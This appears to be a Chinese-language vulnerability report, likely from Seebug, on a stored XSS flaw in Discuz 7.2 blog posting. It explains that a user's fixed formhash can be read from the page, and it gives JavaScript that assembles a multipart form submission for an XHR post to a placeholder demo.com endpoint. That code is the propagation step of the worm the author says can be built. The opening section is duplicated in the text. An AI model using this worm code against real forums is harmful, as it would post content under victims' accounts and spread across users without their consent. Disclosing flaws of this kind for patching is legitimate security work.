### 简要描述: Discuz 7.2 存储型XSS,可编写蠕虫传播。 ### 详细说明: discuz 7.2 个人空间发表博客,默认管理员可编辑源码,但管理员可在后台设置权限允许普通用户编辑。 该处存在XSS弱点,可编写蠕虫进行传播。每个用户的表单hash值可在html获得,不需要考虑salt,获得cookie即可。 ### 漏洞证明: discuz 7.2 进行表单提交时每个用户的表单hash值不一样,但是固定的,该值可在访问用户的html中获得。如图: [<img src="https://images.seebug.org/upload/201012/112251320cb79b3f1234ee5ebe398d95e837008e.jpg" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201012/112251320cb79b3f1234ee5ebe398d95e837008e.jpg) 然后将hash代入组包,编写蠕虫即可。 var userurl="http://demo.com/cp.php?ac=blog&blogid=&releas=2"; var fdata="-----------------------------7da26139230652\nContent-Disposition: form-data; name=\"subject\"\n\n123\n-----------------------------7da26139230652\nContent-Disposition: form-data; name=\"classid\"\n\n0\n-----------------------------7da26139230652\nContent-Disposition: form-data; name=\"message\"\n\n<DIV>123</DIV>\n-----------------------------7da26139230652\nContent-Disposition: form-data;...
### 简要描述: Discuz 7.2 存储型XSS,可编写蠕虫传播。 ### 详细说明: discuz 7.2 个人空间发表博客,默认管理员可编辑源码,但管理员可在后台设置权限允许普通用户编辑。 该处存在XSS弱点,可编写蠕虫进行传播。每个用户的表单hash值可在html获得,不需要考虑salt,获得cookie即可。 ### 漏洞证明: discuz 7.2 进行表单提交时每个用户的表单hash值不一样,但是固定的,该值可在访问用户的html中获得。如图: [<img src="https://images.seebug.org/upload/201012/112251320cb79b3f1234ee5ebe398d95e837008e.jpg" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201012/112251320cb79b3f1234ee5ebe398d95e837008e.jpg) 然后将hash代入组包,编写蠕虫即可。 var userurl="http://demo.com/cp.php?ac=blog&blogid=&releas=2"; var fdata="-----------------------------7da26139230652\nContent-Disposition: form-data; name=\"subject\"\n\n123\n-----------------------------7da26139230652\nContent-Disposition: form-data; name=\"classid\"\n\n0\n-----------------------------7da26139230652\nContent-Disposition: form-data; name=\"message\"\n\n<DIV>123</DIV>\n-----------------------------7da26139230652\nContent-Disposition: form-data; name=\"tag\"\n\n\n-----------------------------7da26139230652\nContent-Disposition: form-data; name=\"friend\"\n\n0\n-----------------------------7da26139230652\nContent-Disposition: form-data; name=\"password\"\n\n\n-----------------------------7da26139230652\nContent-Disposition: form-data; name=\"selectgroup\"\n\n\n-----------------------------7da26139230652\nContent-Disposition: form-data; name=\"target_names\"\n\n\n-----------------------------7da26139230652\nContent-Disposition: form-data; name=\"blogsubmit\"\n\ntrue\n-----------------------------7da26139230652\nContent-Disposition: form-data; name=\"bbsis\"\n\n0\n-----------------------------7da26139230652\nContent-Disposition: form-data; name=\"fid\"\n\n4\n-----------------------------7da26139230652\nContent-Disposition: form-data; name=\"formhash\"\n\n9186ab85\n-----------------------------7da26139230652--\n"; xhr.setRequestHeader("Content-Type","multipart/form-data; boundary=---------------------------7da26139230652");